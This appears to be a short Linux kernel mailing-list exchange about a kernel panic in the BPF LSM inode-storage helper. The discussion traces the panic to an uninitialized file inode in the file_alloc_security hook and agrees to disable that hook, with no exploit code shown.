The fundamental problem is that the BPF program's reference to the bpf_map does not translate to a reference on the underlying inode. This allows the inode to be destroyed while it is still potentially in use by an active BPF program. The comment in the bpf_inode_storage_get function, /* This helper must only called from where the inode is guaranteed to have a refcount and cannot be freed. */, highlights this exact requirement, which is violated by the race condition.

Thanks for reporting. I found the root cause here a bit hard to follow, so I also ran your POC on a VM with bpf-next kernel and confirmed the kernel did panic.

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However, the bug seems to me to be an uninitialized file->f_inode being passed to bpf_inode_storage_get() in bpf_lsm_file_alloc_security.

Thanks for the analysis.
That's not the first such problematic lsm hook.
Let's just add it to bpf_lsm_disabled_hooks[].

Got it. Will send a patch disabling bpf_lsm_file_alloc_security.